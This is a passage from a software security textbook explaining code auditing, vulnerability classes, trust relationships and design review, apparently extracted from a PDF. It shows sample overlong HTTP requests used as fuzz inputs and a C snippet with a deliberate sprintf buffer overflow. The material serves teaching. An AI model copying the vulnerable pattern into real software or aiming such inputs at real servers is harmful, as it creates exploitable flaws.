The sad truth is that vendors offer few guarantees of quality for any software. If you doubt this, just read the end user license agreement (EULA) that accompanies almost every piece of commercial software. However, it's in a company's best interests to keep clients happy; so most vendors implement their own quality assurance measures. These measures usually focus on marketable concerns, such as features, availability, and general stability; this focus has historically left security haphazardly applied or occasionally ignored entirely. Note Some industries do impose their own security requirements and standards, but they typically involve regulatory interests and apply only to certain specialized environments and applications. This practice is changing, however, as high-profile incidents are moving regulators and industry standards bodies toward more proactive security requirements. The good news is that attitudes toward security have been changing recently, and many vendors are adopting business processes for more rigorous security testing. Many approaches are becoming commonplace, including automated code analysis, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 25 security unit testing, and manual code audits. As you can tell from the title, this book focuses on manual code audits. Auditing an application is the process of analyzing application code (in source or binary form) to uncover vulnerabilities that attackers might exploit. By going through this process, you can identify and close security holes that would otherwise put sensitive data and business resources at unnecessary risk. In addition to the obvious case of a company developing in-house software, code auditing makes sense in several other situations. Table 1-1 summarizes the most common ones. Table 1-1. Code-Auditing Situations Situation Description Advantage In-house software audit (prerelease) A software company performs code audits of a new product before its release. Design and implementation flaws can be identified and remedied before the product goes to market, saving money in developing and deploying updates. It also saves the company from potential embarrassment. In-house software audit (postrelease) A software company performs code audits of a product after its release. Security vulnerabilities can be found and fixed before malicious parties discover the flaws. This process allows time to perform testing and other checks as opposed to doing a hurried release in response to a vulnerability disclosure. Third-party product range comparison A third party performs audits of a number of competing products in a particular field. An objective third party can provide valuable information to consumers and assist in selecting the most secure product. Third-party evaluation A third party performs an independent software audit of a product for a client. The client can gain an understanding of the relative security of an application it's considering deploying. This might prove to be the deciding factor between purchasing one technology over another. Third-party preliminary evaluation A third party performs an independent review of a product before it goes to market. Venture capitalists can get an idea of the viability of a prospective technology for investment purposes. Vendors might also conduct this type of evaluation to ensure the quality of a product they intend to market. Independent research A security company or consulting firm Security product vendors can identify vulnerabilities and implement protective The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 26 Table 1-1. Code-Auditing Situations Situation Description Advantage performs a software audit independently. measures in scanners and other security devices. Independent research also functions as an industry watchdog and provides a way for researchers and security companies to establish professional credibility. As you can see, code auditing makes sense in quite a few situations. Despite the demand for people with these skills, however, few professionals have the training and experience to perform these audits at a high standard. It's our hope that this book helps fill that gap. Auditing Versus Black Box Testing Black box testing is a method of evaluating a software system by manipulating only its exposed interfaces. Typically, this process involves generating specially crafted inputs that are likely to cause the application to perform some unexpected behavior, such as crashing or exposing sensitive data. For example, black box testing an HTTP server might involve sending requests with abnormally large field sizes, which could trigger a memory corruption bug (covered in more depth later in Chapter 5(? [????.]), "Memory Corruption"). This test might involve a legitimate request, such as the following (assume that the "..." sequence represents a much longer series of "A" characters): GET AAAAAAAAAAAAAAAAAAA...AAAAAAAAAAAAAAAAAAA HTTP/1.0 Or it might involve an invalid request, such as this one (once again, the "..." sequence represents a much longer series of "A" characters): GET / AAAAAAAAAAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAA/1.0 Any crashes resulting from these requests would imply a fairly serious bug in the application. This approach is even more appealing when you consider that tools to automate the process of testing applications are available. This process of automated black box testing is called fuzz-testing, and fuzz-testing tools include generic "dumb" and protocol-aware "intelligent" fuzzers. So you don't need to manually try out every case you can think of; you simply run the tool, perhaps with some modifications of your own design, and collect the results. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 27 The advantage of black box testing an application is that you can do it quickly and possibly have results almost immediately. However, it's not all good news; there are several important disadvantages of black box testing. Essentially, black box testing is just throwing a bunch of data at an application and hoping it does something it isn't supposed to do. You really have no idea what the application is doing with the data, so there are potentially hundreds of code paths you haven't explored because the data you throw at the application doesn't trigger those paths. For instance, returning to the Web server example, imagine that it has certain internal functionality if particular keywords are present in the query string of a request. Take a look at the following code snippet, paying close attention to the bolded lines: struct keyval { char *key; char *value; }; int handle_query_string(char *query_string) { struct keyval *qstring_values, *ent; char buf[1024]; if(!query_string) return 0; qstring_values = split_keyvalue_pairs(query_string); if((ent = find_entry(qstring_values, "mode")) != NULL) { sprintf(buf, "MODE=%s", ent->value); putenv(buf); } ... more stuff here ... } This Web server has a specialized nonstandard behavior; if the query string contains the sequence mode=, the environment variable MODE is set with the value xxx. This specialized behavior has an implementation flaw, however; a buffer overflow caused by a careless use of the sprintf() function. If you aren't sure why this code is dangerous, don't worry; buffer overflow vulnerabilities are covered in depth in Chapter 5(? [????.]). You can see the bug right away by examining the code, but a black box or fuzz-testing tool would probably miss this basic vulnerability. Therefore, you need to be able to The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 28 assess code constructs intelligently in addition to just running testing tools and noting the results. That's why code auditing is important. You need to be able to analyze code and detect code paths that an automated tool might miss as well as locate vulnerabilities that automated tools can't catch. Fortunately, code auditing combined with black box testing provides maximum results for uncovering vulnerabilities in a minimum amount of time. This book arms you with the knowledge and techniques to thoroughly analyze an application for a wide range of vulnerabilities and provides insight into how you can use your understanding and creativity to discover flaws unique to a particular application. Code Auditing and the Development Life Cycle When you consider the risks of exposing an application to potentially malicious users, the value of application security assessment is clear. However, you need to know exactly when to perform an assessment. Generally, you can perform an audit at any stage of the Systems Development Life Cycle (SDLC). However, the cost of identifying and fixing vulnerabilities can vary widely based on when and how you choose to audit. So before you get started, review the following phases of the SDLC: 1. Feasibility study This phase is concerned with identifying the needs the project should meet and determining whether developing the solution is technologically and financially viable. 2. Requirements definition In this phase, a more in-depth study of requirements for the project is done, and project goals are established. 3. Design The solution is designed and decisions are made about how the system will technically achieve the agreed-on requirements. 4. Implementation The application code is developed according to the design laid out in the previous phase. 5. Integration and testing The solution is put through some level of quality assurance to ensure that it works as expected and to catch any bugs in the software. 6. Operation and maintenance The solution is deployed and is now in use, and revisions, updates, and corrections are made as a result of user feedback. Every software development process follows this model to some degree. Classical waterfall models tend toward a strict interpretation, in which the system's life span goes through only a single iteration through the model. In contrast, newer methodologies, such as agile development, tend to focus on refining an application by going through repeated iterations of the SDLC phases. So the way in which the SDLC model is applied might vary, but the basic concepts and phases are consistent enough for the purposes of this discussion. You can use these distinctions to help classify vulnerabilities, and in later chapters, you learn about the best phases in which to conduct different classes of reviews. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 29 6.1.4 Classifying Vulnerabilities A vulnerability class is a set of vulnerabilities that share some unifying commonalitya pattern or concept that isolates a specific feature shared by several different software flaws. Granted, this definition might seem a bit confusing, but the bottom line is that vulnerability classes are just mental devices for conceptualizing software flaws. They are useful for understanding issues and communicating that understanding with others, but there isn't a single, clean taxonomy for grouping vulnerabilities into accurate, nonoverlapping classes. It's quite possible for a single vulnerability to fall into multiple classes, depending on the code auditor's terminology, classification system, and perspective. A rigid formal taxonomy for categorizing vulnerabilities isn't used in this book; instead, issues are categorized in a consistent, pragmatic fashion that lends itself to the material. Some software vulnerabilities are best tackled from a particular perspective. For example, certain flaws might best be approached by looking at a program in terms of the interaction of high-level software components; another type of flaw might best be approached by conceptualizing a program as a sequence of system calls. Regardless of the approach, this book explains the terms and concepts you'll encounter in security literature so that you can keep the array of terms and taxonomies the security community uses in some sort of context. In defining general vulnerability classes, you can draw a few general distinctions from the discussion of the SDLC phases. Two commonly accepted vulnerability classes include design vulnerabilities (SDLC phases 1, 2, and 3) and implementation vulnerabilities (SDLC phases 4 and 5). In addition, this book includes a third category, operational vulnerabilities (SDLC phase 6). The security community generally accepts design vulnerabilities as flaws in a software system's architecture and specifications; implementation vulnerabilities are low-level technical flaws in the actual construction of a software system. The category of operational vulnerabilities addresses flaws that arise in deploying and configuring software in a particular environment. Design Vulnerabilities A design vulnerability is a problem that arises from a fundamental mistake or oversight in the software's design. With a design flaw, the software isn't secure because it does exactly what it was designed to do; it was simply designed to do the wrong thing! These types of flaws often occur because of assumptions made about the environment in which a program will run or the risk of exposure that program components will face in the actual production environment. Design flaws are also referred to as high-level vulnerabilities, architectural flaws, or problems with program requirements or constraints. A quick glance at the SDLC phases reminds you that a software system's design is driven by the definition of software requirements, which are a list of objectives a The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 30 software system must meet to accomplish the goals of its creators. Typically, an engineer takes the set of requirements and constructs design specifications, which focus on how to create the software that meets those goals. Requirements usually address what a software system has to accomplishfor example, "Allow a user to retrieve a transaction file from a server." Requirements can also specify capabilities the software must havefor example, "It must support 100 simultaneous downloads per hour." Specifications are the plans for how the program should be constructed to meet the requirements. Typically, they include a description of the different components of a software system, information on how the components will be implemented and what they will do, and information on how the components will interact. Specifications could involve architecture diagrams, logic diagrams, process flowcharts, interface and protocol specifications, class hierarchies, and other technical specifications. When people speak of a design flaw, they don't usually make a distinction between a problem with the software's requirements and a problem with the software's specifications. Making this distinction often isn't easy because many high-level issues could be explained as an oversight in the requirements or a mistake in the specifications. For example, the TELNET protocol is designed to allow users to connect to a remote machine and access that machine as though it's connected to a local terminal. From a design perspective, TELNET arguably has a vulnerability in that it relies on unencrypted communication. In some environments, this reliance might be acceptable if the underlying network environment is trusted. However, in corporate networks and the Internet, unencrypted communications could be a major weakness because attackers sitting on the routing path can monitor and hijack TELNET sessions. If an administrator connects to a router via TELNET and enters a username and password to log in, a sniffer could record the administrator's username and password. In contrast, a protocol such as Secure Shell (SSH) serves the same basic purpose as TELNET, but it addresses the sniffing threat because it encrypts all communications. Implementation Vulnerabilities In an implementation vulnerability, the code is generally doing what it should, but there's a security problem in the way the operation is carried out. As you would expect from the name, these issues occur during the SDLC implementation phase, but they often carry over into the integration and testing phase. These problems can happen if the implementation deviates from the design to solve technical discrepancies. Mostly, however, exploitable situations are caused by technical artifacts and nuances of the platform and language environment in which the software is constructed. Implementation vulnerabilities are also referred to as low-level flaws or technical flaws. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 31 This book includes many examples of implementation vulnerabilities because identifying these technical flaws is one of the primary charges of the code review process. Implementation vulnerabilities encompass several well-publicized vulnerability classes you've probably heard of, such as buffer overflows and SQL injection. Going back to the TELNET example, you can also find implementation vulnerabilities in specific versions of TELNET software. Some previous implementations of TELNET daemons didn't cleanse user environment variables correctly, allowing intruders to leverage the dynamic linking features of a UNIX machine to elevate their privileges on the machine. There were also flaws that allowed intruders to perform buffer overflows and format string attacks against various versions of TELNET daemons, often without authenticating at all. These flaws resulted in attackers being able to remotely issue arbitrary commands on the machine as privileged users. Basically, attackers could run a small exploit program against a vulnerable TELNET daemon and immediately get a root prompt on the server. Operational Vulnerabilities Operational vulnerabilities are security problems that arise through the operational procedures and general use of a piece of software in a specific environment. One way to distinguish these vulnerabilities is that they aren't present in the source code of the software under consideration; rather, they are rooted in how the software interacts with its environment. Specifically, they can include issues with configuration of the software in its environment, issues with configuration of supporting software and computers, and issues caused by automated and manual processes that surround the system. Operational vulnerabilities can even include certain types of attacks on users of the system, such as social engineering and theft. These issues occur in the SDLC operation and maintenance phase, although they have some overlap into the integration and testing phase. Going back to the TELNET example, you know TELNET has a design flaw because of its lack of encryption. Say you're looking at a software system for automated securities trading. Suppose it needs a set of weighting values to be updated every night to adjust its trading strategy for the next day. The documented process for updating this data is for an administrator to log in to the machine using TELNET at the end of each business day and enter the new set of values through a simple utility program. Depending on the environment, this process could represent a major operational vulnerability because of the multiple risks associated with using TELNET, including sniffing and connection hijacking. In short, the operational procedure for maintaining the software is flawed because it exposes the system to potential fraud and attacks. Gray Areas The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 32 The distinction between design and implementation vulnerabilities is deceptively simple in terms of the SDLC, but it's not always easy to make. Many implementation vulnerabilities could also be interpreted as situations in which the design didn't anticipate or address the problem adequately. On the flip side, you could argue that lower-level pieces of a software system are also designed, in a fashion. A programmer can design plenty of software components when implementing a specification, depending on the level of detail the specification goes into. These components might include a class, a function, a network protocol, a virtual machine, or perhaps a clever series of loops and branches. Lacking a strict distinction, in this book the following definition of a design vulnerability is used: In general, when people refer to design vulnerabilities, they mean high-level issues with program architecture, requirements, base interfaces, and key algorithms. Expanding on the definition of design vulnerabilities, this book uses the following definition of an implementation vulnerability: Security issues in the design of low-level program pieces, such as parts of individual functions and classes, are generally considered to be implementation vulnerabilities. Implementation vulnerabilities also include more complex logical elements that are not normally addressed in the design specification. (These issues are often called logic vulnerabilities.) Likewise, there's no clear distinction between operational vulnerabilities and implementation or design vulnerabilities. For example, if a program is installed in an environment in a fashion that isn't secure, you could easily argue that it's a failure of the design or implementation. You would expect the application to be developed in a manner that's not vulnerable to these environmental concerns. Lacking a strict distinction again, the following definition of an operational vulnerability is used in this book: In general, the label "operational vulnerabilities" is used for issues that deal with unsafe deployment and configuration of software, unsound management and administration practices surrounding software, issues with supporting components such as application and Web servers, and direct attacks on the software's users. You can see that there's plenty of room for interpretation and overlap in the concepts of design, implementation, and operational vulnerabilities, so don't consider these definitions to be an infallible formal system for labeling software flaws. They are simply a useful way to approach and study software vulnerabilities. 6.1.5 Common Threads So far you've learned some background on the audit process, security models, and the three common classes of vulnerabilities. This line of discussion is continued The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 33 throughout the rest of this book, as you drill down into the details of specific technical issues. For now, however, take a step back to look at some common threads that underlie security vulnerabilities in software, focusing primarily on where and why vulnerabilities are most likely to surface in software. Input and Data Flow The majority of software vulnerabilities result from unexpected behaviors triggered by a program's response to malicious data. So the first question to address is how exactly malicious data gets accepted by the system and causes such a serious impact. The best way to explain it is by starting with a simple example of a buffer overflow vulnerability. Consider a UNIX program that contains a buffer overflow triggered by an overly long command-line argument. In this case, the malicious data is user input that comes directly from an attacker via the command-line interface. This data travels through the program until some function uses it in an unsafe way, leading to an exploitable situation. For most vulnerabilities, you'll find some piece of malicious data that an attacker injects into the system to trigger the exploit. However, this malicious data might come into play through a far more circuitous route than direct user input. This data can come from several different sources and through several different interfaces. It might also pass through multiple components of a system and be modified a great deal before it reaches the location where it ultimately triggers an exploitable condition. Consequently, when reviewing a software system, one of the most useful attributes to consider is the flow of data throughout the system's various components. For example, you have an application that handles scheduling meetings for a large organization. At the end of every month, the application generates a report of all meetings coordinated in this cycle, including a brief summary of each meeting. Close inspection of the code reveals that when the application creates this summary, a meeting description larger than 1,000 characters results in an exploitable buffer overflow condition. To exploit this vulnerability, you would have to create a new meeting with a description longer than 1,000 characters, and then have the application schedule the meeting. Then you would need to wait until the monthly report was created to see whether the exploit worked. Your malicious data would have to pass through several components of the system and survive being stored in a database, all the while avoiding being spotted by another user of the system. Correspondingly, you have to evaluate the feasibility of this attack vector as a security reviewer. This viewpoint involves analyzing the flow of the meeting description from its initial creation, through multiple application components, and finally to its use in the vulnerable report generation code. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 34 This process of tracing data flow is central to reviews of both the design and implementation of software. User-malleable data presents a serious threat to the system, and tracing the end-to-end flow of data is the main way to evaluate this threat. Typically, you must identify where user-malleable data enters the system through an interface to the outside world, such as a command line or Web request. Then you study the different ways in which user-malleable data can travel through the system, all the while looking for any potentially exploitable code that acts on the data. It's likely the data will pass through multiple components of a software system and be validated and manipulated at several points throughout its life span. This process isn't always straightforward. Often you find a piece of code that's almost vulnerable but ends up being safe because the malicious input is caught or filtered earlier in the data flow. More often than you would expect, the exploit is prevented only through happenstance; for example, a developer introduces some code for a reason completely unrelated to security, but it has the side effect of protecting a vulnerable component later down the data flow. Also, tracing data flow in a real-world application can be exceedingly difficult. Complex systems often develop organically, resulting in highly fragmented data flows. The actual data might traverse dozens of components and delve in and out of third-party framework code during the process of handling a single user request. Trust Relationships Different components in a software system place varying degrees of trust in each other, and it's important to understand these trust relationships when analyzing the security of a given software system. Trust relationships are integral to the flow of data, as the level of trust between components often determines the amount of validation that happens to the data exchanged between them. Designers and developers often consider an interface between two components to be trusted or designate a peer or supporting software component as trusted. This means they generally believe that the trusted component is impervious to malicious interference, and they feel safe in making assumptions about that component's data and behavior. Naturally, if this trust is misplaced, and an attacker can access or manipulate trusted entities, system security can fall like dominos. Speaking of dominos, when evaluating trust relationships in a system, it's important to appreciate the transitive nature of trust. For example, if your software system trusts a particular external component, and that component in turn trusts a certain network, your system has indirectly placed trust in that network. If the component's trust in the network is poorly placed, it might fall victim to an attack that ends up putting your software at risk. Assumptions and Misplaced Trust The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 35 Another useful way of looking at software flaws is to think of them in terms of programmers and designers making unfounded assumptions when they create software. Developers can make incorrect assumptions about many aspects of a piece of software, including the validity and format of incoming data, the security of supporting programs, the potential hostility of its environment, the capabilities of its attackers and users, and even the behaviors and nuances of particular application programming interface (API) calls or language features. The concept of inappropriate assumptions is closely related to the concept of misplaced trust because you can say that placing undue trust in a component is much the same as making an unfounded assumption about that component. The following sections discuss several ways in which developers can make security-relevant mistakes by making unfounded assumptions and extending undeserved trust. Input As stated earlier, the majority of software vulnerabilities are triggered by attackers injecting malicious data into software systems. One reason this data can cause such trouble is that software often places too much trust in its communication peers and makes assumptions about the data's potential origins and contents. Specifically, when developers write code to process data, they often make assumptions about the user or software component providing that data. When handling user input, developers often assume users aren't likely to do things such as enter a 5,000-character street address containing nonprintable symbols. Similarly, if developers are writing code for a programmatic interface between two software components, they usually make assumptions about the input being well formed. For example, they might not anticipate a program placing a negative length binary record in a file or sending a network request that's four billion bytes long. In contrast, attackers looking at input-handling code try to consider every possible input that can be entered, including any input that might lead to an inconsistent or unexpected program state. Attackers try to explore every accessible interface to a piece of software and look specifically for any assumptions the developer made. For an attacker, any opportunity to provide unexpected input is gold because this input often has a subtle impact on later processing that the developers didn't anticipate. In general, if you can make an unanticipated change in software's runtime properties, you can often find a way to leverage it to have more influence on the program. Interfaces Interfaces are the mechanisms by which software components communicate with each other and the outside world. Many vulnerabilities are caused by developers not fully appreciating the security properties of these interfaces and consequently assuming that only trusted peers can use them. If a program component is accessible The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 36 via the network or through various mechanisms on the local machine, attackers might be able to connect to that component directly and enter malicious input. If that component is written so that it assumes its peer is trustworthy, the application is likely to mishandle the input in an exploitable manner. What makes this vulnerability even more serious is that developers often incorrectly estimate the difficulty an attacker has in reaching an interface, so they place trust in the interface that isn't warranted. For example, developers might expect a high degree of safety because they used a proprietary and complex network protocol with custom encryption. They might incorrectly assume that attackers won't be likely to construct their own clients and encryption layers and then manipulate the protocol in unexpected ways. Unfortunately, this assumption is particularly unsound, as many attackers find a singular joy in reverse engineering a proprietary protocol. To summarize, developers might misplace trust in an interface for the following reasons:  They choose a method of exposing the interface that doesn't provide enough protection from external attackers.  They choose a reliable method of exposing the interface, typically a service of the OS, but they use or configure it incorrectly. The attacker might also exploit a vulnerability in the base platform to gain unexpected control over that interface.  They assume that an interface is too difficult for an attacker to access, which is usually a dangerous bet. Environmental Attacks Software systems don't run in a vacuum. They run as one or more programs supported by a larger computing environment, which typically includes components such as operating systems, hardware architectures, networks, file systems, databases, and users. Although many software vulnerabilities result from processing malicious data, some software flaws occur when an attacker manipulates the software's underlying environment. These flaws can be thought of as vulnerabilities caused by assumptions made about the underlying environment in which the software is running. Each type of supporting technology a software system might rely on has many best practices and nuances, and if an application developer doesn't fully understand the potential security issues of each technology, making a mistake that creates a security exposure can be all too easy. The classic example of this problem is a type of race condition you see often in UNIX software, called a /tmp race (pronounced "temp race"). It occurs when a program needs to make use of a temporary file, and it creates this file in a public directory on The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 37 the system, located in /tmp or /var/tmp. If the program hasn't been written carefully, an attacker can anticipate the program's moves and set up a trap for it in the public directory. If the attacker creates a symbolic link in the right place and at the right time, the program can be tricked into creating its temporary file somewhere else on the system with a different name. This usually leads to an exploitable condition if the vulnerable program is running with root (administrator) privileges. In this situation, the vulnerability wasn't triggered through data the attacker supplied to the program. Instead, it was an attack against the program's runtime environment, which caused the program's interaction with the OS to proceed in an unexpected and undesired fashion. Exceptional Conditions Vulnerabilities related to handling exceptional conditions are intertwined with data and environmental vulnerabilities. Basically, an exceptional condition occurs when an attacker can cause an unexpected change in a program's normal control flow via external measures. This behavior can entail an asynchronous interruption of the program, such as the delivery of a signal. It might also involve consuming global system resources to deliberately induce a failure condition at a particular location in the program. For example, a UNIX system sends a SIGPIPE signal if a process attempts to write to a closed network connection or pipe; the default behavior on receipt of this signal is to terminate the process. An attacker might cause a vulnerable program to write to a pipe at an opportune moment, and then close the pipe before the application can perform the write operation successfully. This would result in a SIGPIPE signal that could cause the application to abort and perhaps leave the overall system in an unstable state. For a more concrete example, the Network File System (NFS) status daemon of some Linux distributions was vulnerable to crashing caused by closing a connection at the correct time. Exploiting this vulnerability created a disruption in NFS functionality that persisted until an administrator can intervene and reset the daemon. 6.1.6 Summary You've covered a lot of ground in this short chapter and might be left with a number of questions. Don't worry; subsequent chapters delve into more detail and provide answers as you progress. For now, it's important that you have a good understanding of what can go wrong in computer software and understand the terminology used in discussing these issues. You should also have developed an appreciation of the need for security auditing of applications and become familiar with different aspects of the process. In later chapters, you build on this foundation as you learn how to use this audit process to identify vulnerabilities in the applications you review. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 38 6.2 Chapter 2. Design Review "Sure. Each one of us is wearing an unlicensed nuclear accelerator on our back. No problem." Bill Murray as Dr. Peter Venkman, Ghostbusters (1984) 6.2.1 Introduction Computer security people tend to fall into one of two camps on design review. People from a formal development background are usually receptive to the design review process. This is only natural, as it maps closely to most formal software development methodologies. The design review process can also seem to be less trouble than reviewing a large application code base manually. In the other camp are code auditors who delight in finding the most obscure and complex vulnerabilities. This crowd tends to look at design review as an ivory-tower construct that just gets in the way of the real work. Design review's formalized process and focus on documentation come across as a barrier to digging into the code. The truth is that design review falls somewhere between the views of these two camps, and it has value for both. Design review is a useful tool for identifying vulnerabilities in application architecture and prioritizing components for implementation review. It doesn't replace implementation review, however; it's just a component of the complete review process. It makes identifying design flaws a lot easier and provides a more thorough analysis of the security of a software design. In this capacity, it can make the entire review process more effective and ensure the best return for the time you invest. This chapter gives you some background on the elements of software design and design vulnerabilities, and introduces a review process to help you identify security concerns in a software design. 6.2.2 Software Design Fundamentals Before you tackle the subject of design review, you need to review some fundamentals of software design. Many of these concepts tie in closely with the security considerations addressed later in the chapter, particularly in the discussion of threat modeling. The following sections introduce several concepts that help establish an application's functional boundaries with respect to security. Algorithms The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 39 Software engineering can be summed up as the process of developing and implementing algorithms. From a design perspective, this process focuses on developing key program algorithms and data structures as well as specifying problem domain logic. To understand the security requirements and vulnerability potential of a system design, you must first understand the core algorithms that comprise a system. Problem Domain Logic Problem domain logic (or business logic) provides rules that a program follows as it processes data. A design for a software system must include rules and processes for the main tasks the software carries out. One major component of software design is the security expectations associated with the system's users and resources. For example, consider banking software with the following rules:  A person can transfer money from his or her main account to any valid account.  A person can transfer money from his or her money market account to any valid account.  A person can transfer money from his or her money market account only once a month.  If a person goes below a zero balance in his or her main account, money is automatically transferred from his or her money market account to cover the balance, if that money is available. This example is simple, but you can see that bank customers might be able to get around the once-a-month transfer restriction on money market accounts. They could intentionally drain their main account below zero to "free" money from their monkey market accounts. Therefore, the design for this system has an oversight that bank customers could potentially exploit. Key Algorithms Often programs have performance requirements that dictate the choice of algorithms and data structures used to manage key pieces of data. Sometimes it's possible to evaluate these algorithm choices from a design perspective and predict security vulnerabilities that might affect the system. For example, you know that a program stores an incoming series of records in a sorted linked list that supports a basic sequential search. Based on this knowledge, you can foresee that a specially crafted huge list of records could cause the program to spend considerable time searching through the linked list. Repeated focused attacks on a key algorithm such as this one could easily lead to temporary or even permanent disruption of a server's functioning. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 40 Abstraction and Decomposition Every text on software design inevitably covers two essential concepts: abstraction and decomposition. You are probably familiar with these concepts already, but if not, the following paragraphs give you a brief overview. Abstraction is a method for reducing the complexity of a system to make it more manageable. To do this, you isolate only the most important elements and remove unnecessary details. Abstractions are an essential part of how people perceive the world around them. They explain why you can see a symbol such as and associate it with a smiling face. Abstractions allow you to generalize a concept, such as a face, and group-related concepts, such as smiling faces and frowning faces. In software design, abstractions are how you model the processes an application will perform. They enable you to establish hierarchies of related systems, concepts, and processesisolating the problem domain logic and key algorithms. In effect, the design process is just a method of building a set of abstractions that you can develop into an implementation. This process becomes particularly important when a piece of software must address the concerns of a range of users, or its implementation must be distributed across a team of developers. Decomposition (or factoring) is the process of defining the generalizations and classifications that compose an abstraction. Decomposition can run in two different directions. Top-down decomposition, known as specialization, is the process of breaking a larger system into smaller, more manageable parts. Bottom-up decomposition, called generalization, involves identifying the similarities in a number of components and developing a higher-level abstraction that applies to all of them. The basic elements of structural software decomposition can vary from language to language. The standard top-down progression is application, module, class, and function (or method). Some languages might not support every distinction in this list (for example, C doesn't have language support for classes); other languages add more distinctions or use slightly different terminology. The differences aren't that important for your purposes, but to keep things simple, this discussion generally sticks to modules and functions. Trust Relationships In Chapter 1(? [????.]), "Software Vulnerability Fundamentals," the concept of trust and how it affects system security was introduced. This chapter expands on that concept to state that every communication between multiple parties must have some degree of trust associated with it. This is referred to as a trust relationship. For simple communications, both parties can assume complete trustthat is, each The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 41 communicating party allows other parties participating in the communication complete access to its exposed functionality. For security purposes, however, you're more concerned with situations in which communicating parties should restrict their trust of one another. This means parties can access only a limited subset of each other's functionality. The limitations imposed on each party in a communication define a trust boundary between them. A trust boundary distinguishes between regions of shared trust, known as trust domains. (Don't worry if you're a bit confused by these concepts; some examples are provided in the next section.) A software design needs to account for a system's trust domains, boundaries, and relationships; the trust model is the abstraction that represents these concepts and is a component of the application's security policy. The impact of this model is apparent in how the system is decomposed, as trust boundaries tend to be module boundaries, too. The model often requires that trust not be absolute; instead, it supports varying degrees of trust referred to as privileges. A classic example is the standard UNIX file permissions, whereby a user can provide a limited amount of access to a file for other users on the system. Specifically, users can dictate whether other users are allowed to read, write, or execute (or any combination of these permissions) the file in question, thus extending a limited amount of trust to other users of the system. Simple Trust Boundaries As an example of a trust relationship, consider a basic single-user OS, such as Windows 98. To keep the example simple, assume that there's no network involved. Windows 98 has basic memory protection and some notion of users but offers no measure of access control or enforcement. In other words, if users can log in to a Windows 98 system, they are free to modify any files or system settings they please. Therefore, you have no expectation of security from any user who can log on interactively. You can determine that there are no trust boundaries between interactive users of the same Windows 98 system. You do, however, make an implicit assumption about who has physical access to the system. So you can say that the trust boundary in this situation defines which users have physical access to the system and which do not. That leaves you with a single domain of trusted users and an implicit domain that represents all untrusted users. To complicate this example a bit, say you've upgraded to a multiuser OS, such as Windows XP Professional. This upgrade brings with it a new range of considerations. You expect that two normally privileged users shouldn't be able to manipulate each other's data or processes. Of course, this expectation assumes you aren't running as an administrative user. So now you have an expectation of confidentiality and integrity between two users of the system, which establishes their trust relationship and another trust boundary. You also have to make allowances for the administrative The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 42 user, which adds another boundary: Nonadministrative users can't affect the integrity or configuration of the system. This expectation is a natural progression that's necessary to enforce the boundary between users. After all, if any user could affect the state of the system, you would be right back to a single-user OS. Figure 2-1 is a graphical representation of this multiuser OS trust relationship. Figure 2-1. Simple trust boundaries [View full size image] Now take a step back and consider something about the nature of trust. That is, every system must eventually have some absolutely trusted authority. There's no way around this because someone must be responsible for the state of the system. That's why UNIX has a root account, and Windows has an administrator account. You can, of course, apply a range of controls to this level of authority. For instance, both UNIX and Windows have methods of granting degrees of administrative privilege to different users and for specific purposes. The simple fact remains, however, that in every trust boundary, you have at least one absolute authority that can assume responsibility. Complex Trust Relationships So far, you've looked at fairly simple trust relationships to get a sense of the problem areas you need to address later. However, some of the finer details have been glossed over. To make the discussion a bit more realistic, consider the same system connected to a network. After you hook a system up to a network, you have to start adding a range of distinctions. You might need to consider separate domains for local users and remote users of the system, and you'll probably need a domain for people who have network The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 43 access to the system but aren't "regular" users. Firewalls and gateways further complicate these distinctions and allow more separations. It should be apparent that defining and applying a trust model can have a huge impact on any software design. The real work begins before the design process is even started. The feasibility study and requirements-gathering phases must adequately identify and define users' security expectations and the associated factors of the target environment. The resulting model must be robust enough to meet these needs, but not so complex that it's too difficult to implement and apply. In this way, security has to carefully balance the concerns of clarity with the need for accuracy. When you examine threat modeling later in this chapter, you take trust models into account by evaluating the boundaries between different system components and the rights of different entities on a system. Chain of Trust Chapter 1(? [????.]) also introduced the concept of transitive trust. Essentially, it means that if component A trusts component B, component A must implicitly trust all components trusted by component B. This concept can also be called a chain of trust relationship. A chain of trust is a completely viable security construct and the core of many systems. Consider the way certificates are distributed and validated in a typical Secure Sockets Layer (SSL) connection to a Web server. You have a local database of signatures that identifies providers you trust. These providers can then issue a certificate to a certificate authority (CA), which might then be extended to other authorities. Finally, the hosting site has its certificate signed by one of these authorities. You must follow this chain of trust from CA to CA when you establish an SSL connection. The traversal is successful only when you reach an authority that's in your trusted database. Now say you want to impersonate a Web site for some nefarious means. For the moment, leave Domain Name System (DNS) out of the picture because it's often an easy target. Instead, all you want to do is find a way to manipulate the certificate database anywhere in the chain of trust. This includes manipulating the client certificate database of visitors, compromising the target site directly, or manipulating any CA database in the chain, including a root CA. It helps to repeat that last part, just to make sure the emphasis is clear. The transitive nature of the trust shared by every CA means that a compromise of any CA allows an attacker to impersonate any site successfully. It doesn't matter if the CA that issued the real certificate is compromised because any certificate issued by a valid CA will suffice. This means the integrity of any SSL transaction is only as strong as the weakest CA. Unfortunately, this method is the best that's available for establishing a host's identity. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 44 Some systems can be implemented only by using a transitive chain of trust. As an auditor, however, you want to look closely at the impact of choosing this trust model and determine whether a chain of trust is appropriate. You also need to follow trusts across all the included components and determine the real exposure of any component. You'll often find that the results of using a chain of trust are complex and subtle trust relationships that attackers could exploit. 